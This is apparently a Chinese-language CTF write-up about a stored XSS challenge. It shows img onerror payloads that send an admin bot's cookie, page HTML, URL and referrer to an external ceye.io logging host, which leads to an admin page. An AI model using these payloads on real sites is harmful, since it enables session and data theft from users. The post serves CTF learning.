前言

回忆一下简单XSS。


注入JavaScript

先看到题目的界面:

存在一个吐槽页面和一个登录页面,推测解法为吐槽界面提交HTML代码,由后端携带管理员身份信息的headless浏览器访问造成存储型XSS,然后外带管理员cookie,最后伪装成管理员身份并访问网站找到敏感信息。

首先尝试直接插入script标签:

<script>location.href=`http://xxxxxx.ceye.io`</script>

发现没有回显,访问网站给出的界面后发现script标签里的代码没有正常执行,要换种方法插入JS。

尝试使用img标签事件插入JavaScript代码:

<img src=x onerror='location.href=`http://xxxxxx.ceye.io`'>

能够正常看到回显,JavaScript插入成功:

首先尝试把cookie打出来,简单拼接一下跳转URL:

<img src=x onerror='location.href=`http://xxxxxx.ceye.io/?`+document.cookie'>

得到管理员cookie:

直接在chrome控制台中修改cookie:

发现没有什么不同,需要继续深入。

HTML页面

怀疑管理员cookie不是管理员身份的标识,管理员身份可能要求内网访问,思路转向通过XSS实现CSRF,首先把管理员所看到的页面源码打出来:

<img src=x onerror='location.href=`http://hdftk4.ceye.io/?`+escape(escape(document.documentElement.outerHTML)).slice(0,1000)'>

看到编码后的页面源代码:

因为长度和字符的关系,需要进行长度截断和双重URL编码,将页面源代码全部打出来后发现页面跟普通用户一致,需要再次转换思路。

源地址

由于ceye看不到请求的HTTP HEADERS,所以需要特别打一次:

<img src=x onerror='location.href=`http://hdftk4.ceye.io/?`+escape(escape(location.href)).slice(0,1000)'>

但是发现URL只是一个普通的用于查看提交数据的页面:

猜测其之前存在一个总览提交数据的页面:

<img src=x onerror='location.href=`http://hdftk4.ceye.io/?`+escape(escape(document.referrer)).slice(0,1000)'>

看到admin.php:

访问,得到flag:



Web CTF

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

2022 lineCTF Haribote Secure Note学习
BUUCTF CMD